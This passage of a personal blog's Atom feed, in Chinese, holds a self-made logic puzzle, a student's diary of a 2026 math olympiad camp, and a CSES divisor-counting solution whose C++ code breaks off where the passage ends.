class="mord">10</span></span></span></span>，他將無法確定乙一定知道，從而必有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>」</p></details><h1 id="wtf" tabindex="-1">WTF</h1><p>解完這題後，來看一題<s>較簡單</s>的題目(閹割自第四小題)</p><p>小明選取了兩個正整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>，滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>&lt;</mo><mi>x</mi><mo>&lt;</mo><mi>y</mi><mo>&lt;</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">1&lt;x&lt;y&lt;10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>，他將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴甲、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴乙、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴丙。已知丙說實話，且在任一人開始說話前他不知道甲是否說實話。假設甲、乙、丙都是絕頂聰明的，能運用所有現有知識做出盡可能多的推論，現在，他們開始以下對話：</p><p>甲：乙不知道這兩個數是什麼<br>丙：我知道這兩個數是什麼了</p><p>請問，這兩數可能是什麼？</p><p><em><strong>答案留作讀者練習~</strong></em></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/24/%E6%95%B8%E5%AD%97%E7%8B%BC%E4%BA%BA%E6%AE%BA%EF%BC%9A%E4%B8%80%E9%81%93%E7%B5%90%E5%90%88%E3%80%8C%E5%AF%A6%E8%A9%B1%E8%AC%8A%E8%A9%B1%E5%88%A4%E6%96%B7%E3%80%8D%E8%88%87%E3%80%8C%E5%92%8C%E8%88%87%E7%A9%8D%E5%95%8F%E9%A1%8C%E3%80%8D%E7%9A%84%E7%B2%BE%E5%BD%A9%E8%87%AA%E7%B7%A8%E9%82%8F%E8%BC%AF%E9%A1%8C/</id>
    <link href="https://r3xdj.pages.dev/2026/06/24/%E6%95%B8%E5%AD%97%E7%8B%BC%E4%BA%BA%E6%AE%BA%EF%BC%9A%E4%B8%80%E9%81%93%E7%B5%90%E5%90%88%E3%80%8C%E5%AF%A6%E8%A9%B1%E8%AC%8A%E8%A9%B1%E5%88%A4%E6%96%B7%E3%80%8D%E8%88%87%E3%80%8C%E5%92%8C%E8%88%87%E7%A9%8D%E5%95%8F%E9%A1%8C%E3%80%8D%E7%9A%84%E7%B2%BE%E5%BD%A9%E8%87%AA%E7%B7%A8%E9%82%8F%E8%BC%AF%E9%A1%8C/"/>
    <published>2026-06-24T06:25:21.000Z</published>
    <summary>一道自編的邏輯推理題目，結合了經典的「實話謊話判斷」和「和與積問題」，題目的分析複雜而有趣。</summary>
    <title>數字狼人殺：一道結合「實話謊話判斷」與「和與積問題」的精彩自編邏輯題</title>
    <updated>2026-06-24T06:25:21.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Journey" scheme="https://r3xdj.pages.dev/categories/Journey/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="apmoc" scheme="https://r3xdj.pages.dev/tags/apmoc/"/>
    <category term="camp" scheme="https://r3xdj.pages.dev/tags/camp/"/>
    <content>
      <![CDATA[<p>為什麼時隔那麼久突然想回來寫APMOC的心得呢？其實我每次參與活動都會想記錄下來，但常常都很懶然後日記就根本沒寫或寫一半，所以就藉著最近剛建Blog想發點東西時順便把它紀錄下來~</p><h1 id="%E5%88%9D%E9%81%B8%E7%AC%AC%E4%B8%80%E9%9A%8E%E6%AE%B5" tabindex="-1">初選第一階段</h1><p>這件事要從我高三報名數奧初選第一階段開始說起，這是我第二次報名數奧初選，考場在建中。在那之前，我已多次前往建中，幾乎每次都是去考試：考科學班、數奧初選、物奧初選、物奧研討、物奧複選，所以對交通應已不陌生。中正紀念堂二號出口出來轉個彎，從南門市場開始一路直走，途經許多店家，再行過一天橋，不用多久便抵達。我國中(有印象以來)第一次抵達建中便感受到一股不凡的氣場，那是一種和建中制服卡其色相似的典雅，令人為之一顫。</p><p>下了捷運，循著熟悉的路卻見整修中的二號出口——此路不通，而我是唯一一個發楞的人。時間在手腕上的錶中跳動，我能繼續等待嗎？突然，一個熟悉的身影呼嘯而過，我追趕而上。他是我們班的數學大佬——鼎鼎大名的呂博士。於是我跟隨他自一旁的出口脫困(即使那條其實是遠路)，在我完全陌生的街道奔跑著。</p><p>倒數計時，奔跑化為衝刺，最終如兩支標槍射入數學的殿堂。鐘響，時間剛好。<br>在喘氣和汗流之下寫數學，是名副其實的「酣暢淋漓」，筆尖同呼吸起伏，引領思緒跳動。第一題是課內排列組合，細心些便能拿到。第三題求最大值，我想起專題研究課教的算幾不等式，其中有待定係數的技巧，在與科西不等式搭配使用，最終求出了答案。至此心跳大概也已緩和。剩下的題目便沒那麼順利了，印象中是第二題我觀察了好一陣子，才發現其實考點很簡單。非選一考了離散的證明，我絞盡腦汁地胡言亂語，結合了數學歸納法與歸謬證法(我隨後和同學戲稱此為數學歸謬法)，竟出乎意料拿滿了7分。就這樣，28分，PR97.5，進入第二階段。</p><blockquote><p>11/28/2025<br>The bell rang, marking the end of a school day. I lazily reached for my phone and saw an email notification pop up on the screen. I opened it without hesitation. It was a message from the Office of Taiwan Mathematical Olympiad, informing me that I had passed the first stage of the competition. Attached to the email were several collections of lecture notes on different topics, including algebra, geometry, number theory, and discrete mathematics. These materials were especially fascinating to me, a math enthusiast.</p><p>Frankly speaking, I hadn’t expected to pass the test. Similar to last year, I hadn’t done much practice, and my mindset was simple: participate with no pressure and have fun. I scored 28 out of 49, one more correct answer than last year. To my surprise, my performance was already in the top 3% of all the participants.</p><p>Gazing at the screen, a sense of satisfaction began to well up inside me. I knew that luck played a significant role in my success, but still, the experience was truly unforgettable.</p></blockquote><p>喔，因為是高三，我那時在練英文作文</p><h1 id="%E5%88%9D%E9%81%B8%E7%AC%AC%E4%BA%8C%E9%9A%8E%E6%AE%B5" tabindex="-1">初選第二階段</h1><p>初選第二階段為五題非選題，考4個小時，橫跨中午，因此有附餐盒(<s>耶 免費午餐</s>)。今年的題目出奇簡單，第一題甚至是高一課內基本題(但就是證明要寫嚴謹)，<s>但不知道為什麼附中只有我考過，我甚至是裸考的ㄟ</s>(沒關係，我的其他同學有學校推薦資格，啊呂博士是忘記來考)。我最終以總分27，PR89.9錄取APMOC。</p><blockquote><p>我有提早交卷，因為我會寫的都寫完了</p></blockquote><h1 id="apmoc" tabindex="-1">APMOC</h1><h2 id="%E5%89%8D%E4%B8%80%E5%A4%A9" tabindex="-1" id="前一天">前一天</h2><p>在APMOC的前一天，我在IG上認識了一個成功數資的學弟，看頭貼照片以貌取人一下感覺有些好感(I mean, 不是你們想的那個好感，不要誤會)，應該是個不錯的人，並從他的限動得知他也會去APMOC(學校推薦名額)。稍微聊一下覺得挺開心(畢竟我本來就很樂於認識新朋友)，於是，對於明日的APMOC又多了一層期待。</p><h2 id="%E7%AC%AC%E4%B8%80%E5%A4%A9" tabindex="-1" id="第一天">第一天</h2><p>活動第一天，我早上先和呂博士以及其他朋友前往科教館，為TISF布展，隨後一起去吃午餐，但他們選的那間餐廳太貴了我又不吃那些東西，於是我就在便利商店買了一個椒麻雞麵蹲在路邊吃(不知經過的路人作何感想XD)<br>13:14 (嗯？)時，學弟傳給我說他到了，我說太早了吧(14:00才開始報到)，他回</p><blockquote><p>對不起啦 我坐在學校最靠近門口的小七 但我看有幾個人到了（？</p></blockquote><p>然後 I’m like, 你幹嘛對不起啦……這學弟怎麼這麼可愛啦啊啊啊 o((&gt;ω&lt; ))o</p><p>見面之後我們交流了一下數學科展、競賽培訓，還有我說好跟他講的初選第二階段第五題的解法(ㄟ他聲音滿好聽的，就是……有點軟綿綿的那種感覺(???))</p><blockquote><p>題外，那題第五題，我們學校另一位數學電神看過題目馬上就抓出題目的Bug然後打了一個非預期解XD</p></blockquote><p>第一堂課是幾何，講位似。這堂課最大的收穫是我終於搞懂九點圓了！！！之前高一數專有教過，<s>但我那時後在打瞌睡w</s>。<br>晚餐之後是前國手分享，講一些數奧相關的經驗、文化。比如下面這個<br><img src="2026-06-19-14-14-02.png" alt=""></p><p>20:00開始搭遊覽車前往師大會館 aka 規格好一點但還是很爛的宿舍。我和呂博士與另一個麗山的人同房，那個麗山的同學是打程式競賽的，他有寫一個有趣的小遊戲(那好像是他專題做的東西？忘了XD)。這天晚上有什麼有趣的事情發生呢？</p><ul><li>呂博士帶了選修生物，但他根本沒有要考</li><li>就，討論學校課程之類的啊</li><li>玩遊戲(要動腦那種，像他寫的那個遊戲)</li><li>台灣的地震警報是最可怕的警報聲響</li><li><s>爆破鎖碼頻道的密碼(沒爆出來)</s></li></ul><h2 id="%E7%AC%AC%E4%BA%8C%E5%A4%A9" tabindex="-1" id="第二天">第二天</h2><p>我第二天坐在跟昨天一樣的位子。不過學弟跑去坐別的地方了w我的同學則完全坐在另一側。</p><p>組合課教鴿籠原理，很多題目在校內培訓都看過，就當複習。接著是一門休閒課程，叫「數學與AI」，我想說這我熟啊，畢竟AI可是我科展的研究器材之一(<s>還是說其實是共同作者</s>)，其實我現在已經忘記他在講什麼了。</p><p>下午數論課講貝爾川假定、柴比雪夫定理。像這種比較偏大學代數數論的東西我就比較喜歡XD其實我一直感覺很神奇，居然能用一些分析學的手段來研究離散的整數，像質數定理這種結論我就覺得很不可思議。緊接著是函數方程的課，但因為我太菜了聽得很吃力，感覺很累。</p><p>吃完晚餐(印象中是這天吃披薩？)又是國手分享時間，回答Slido上面的問題，感覺有時出現了一些我聽不懂的應該是IMOC的內梗。</p><p>今日的番外是我去廁所的路上看到某個樓梯的燈居然是紫色的，那個地方又很閾限，就把它拍下來了(然後大修圖)<br><img src="2026-06-19-11-50-32.png" alt=""></p><p>晚上我在遊覽車上和呂博士討論科展的東西，畢竟我們的習性就是賽前才在那邊抱佛腳。</p><blockquote><p>啊不是，我發現我忘記我們這天晚上討論什麼了<br>總之我記得是有研究出新東西、找到一些新解釋</p></blockquote><p>到會館後不久我跑去709房串房，也就是學弟的那一房。(也是聊得很開心)<br>然後居然有人曾經是林○家的學生XD</p><p>九點多回到616開始挑燈夜戰練科展，搞到非常晚。</p><h2 id="%E7%AC%AC%E4%B8%89%E5%A4%A9" tabindex="-1" id="第三天">第三天</h2><p>第三天就是累累的起床趕快弄一弄，9:30開始考TMO，當日早餐是麥當勞。<br>考試前我在走廊上看到了這個<br><img src="2026-06-19-11-44-54.png" alt="logic problem"><br>考試因為我也不會寫所以提早交卷了w跑到中庭練科展報告XD還有等學弟出來拍個照。</p><blockquote><p>btw 我沒問他能不能放這照片所以我把他碼掉了😎😈</p></blockquote><p>接著就是趕去科教館啦啊啊啊啊，去被教授電。</p><blockquote><p>笑死，前面寫得好像國文很好，結果後面放飛自我隨興寫</p></blockquote>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/19/2026-APMOC-%E5%BF%83%E5%BE%97/</id>
    <link href="https://r3xdj.pages.dev/2026/06/19/2026-APMOC-%E5%BF%83%E5%BE%97/"/>
    <published>2026-06-19T06:42:30.000Z</published>
    <summary>
      <![CDATA[<p>為什麼時隔那麼久突然想回來寫APMOC的心得呢？其實我每次參與活動都會想記錄下來，但常常都很懶然後日記就根本沒寫或寫一半，所以就藉著最近剛建Blog想發點東西時順便把它紀錄下來~</p>
<h1 id="%E5%88%9D%E9%81%B8%E7%AC%AC%E4%B8%8]]>
    </summary>
    <title>2026 APMOC 心得</title>
    <updated>2026-08-02T08:39:26.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="sieve" scheme="https://r3xdj.pages.dev/tags/sieve/"/>
    <content>
      <![CDATA[<blockquote><p>我把這題想太複雜了……<br>弄了個爛解</p></blockquote><h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Given <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> integers, your task is to report for each integer the number of its divisors.<br>For example, if <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>18</mn></mrow><annotation encoding="application/x-tex">x=18</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">18</span></span></span></span>, the correct answer is <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span> because its divisors are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mn>3</mn><mo separator="true">,</mo><mn>6</mn><mo separator="true">,</mo><mn>9</mn><mo separator="true">,</mo><mn>18</mn></mrow><annotation encoding="application/x-tex">1,2,3,6,9,18</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span></span></span></span>.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>: the number of integers.<br/></td><td></td></tr><tr><td>After this, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> lines, each containing an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>.</td><td>For each integer, print the number of its divisors.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>x</mi><mo>≤</mo><msup><mn>10</mn><mn>6</mn></msup></mrow><annotation encoding="application/x-tex">1 \le x \le 10^6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3<br/>16<br/>17<br/>18</td><td>5<br/>2<br/>6</td></tr></tbody></table><p>以下我將我自己的解法和在網路上查到的解法全部整理在以下，並重述/重寫程式。</p><h1 id="%E8%A7%A3%E6%B3%95%E4%B8%80%EF%BC%9A%E6%9A%B4%E5%8A%9B%E7%9A%84%E4%B8%80%E5%80%8B%E4%B8%80%E5%80%8B%E5%88%A4%E6%96%B7%E6%98%AF%E4%B8%8D%E6%98%AF%E5%9B%A0%E6%95%B8" tabindex="-1">解法一：暴力的一個一個判斷是不是因數</h1><p>來源：<a href="https://hackmd.io/@winliu/Bkp2UPMop">CSES Problem Set — Counting Divisors 題解 - HackMD</a></p><p>想法：依序判斷<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>中的數能否整除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span><br>優化：若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>的因數，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>x</mi><mi>k</mi></mfrac></mrow><annotation encoding="application/x-tex">\frac{x}{k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>亦為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>的因數，所以實際上只要檢查到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msqrt><mi>n</mi></msqrt></mrow><annotation encoding="application/x-tex">\sqrt{n}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.2397em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span></span>即可。</p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><p>記得開long long</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">divnum</span><span class="token punctuation">(</span><span class="token keyword">int</span> x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> cnt<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">*</span>i<span class="token operator">&lt;=</span>x<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">%</span>i<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    cnt <span class="token operator">+=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>i<span class="token operator">*</span>i<span class="token operator">==</span>x<span class="token punctuation">)</span> cnt<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token comment">// 這時i=x/i，所以i會被多算一次，故把他扣掉</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> cnt<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token 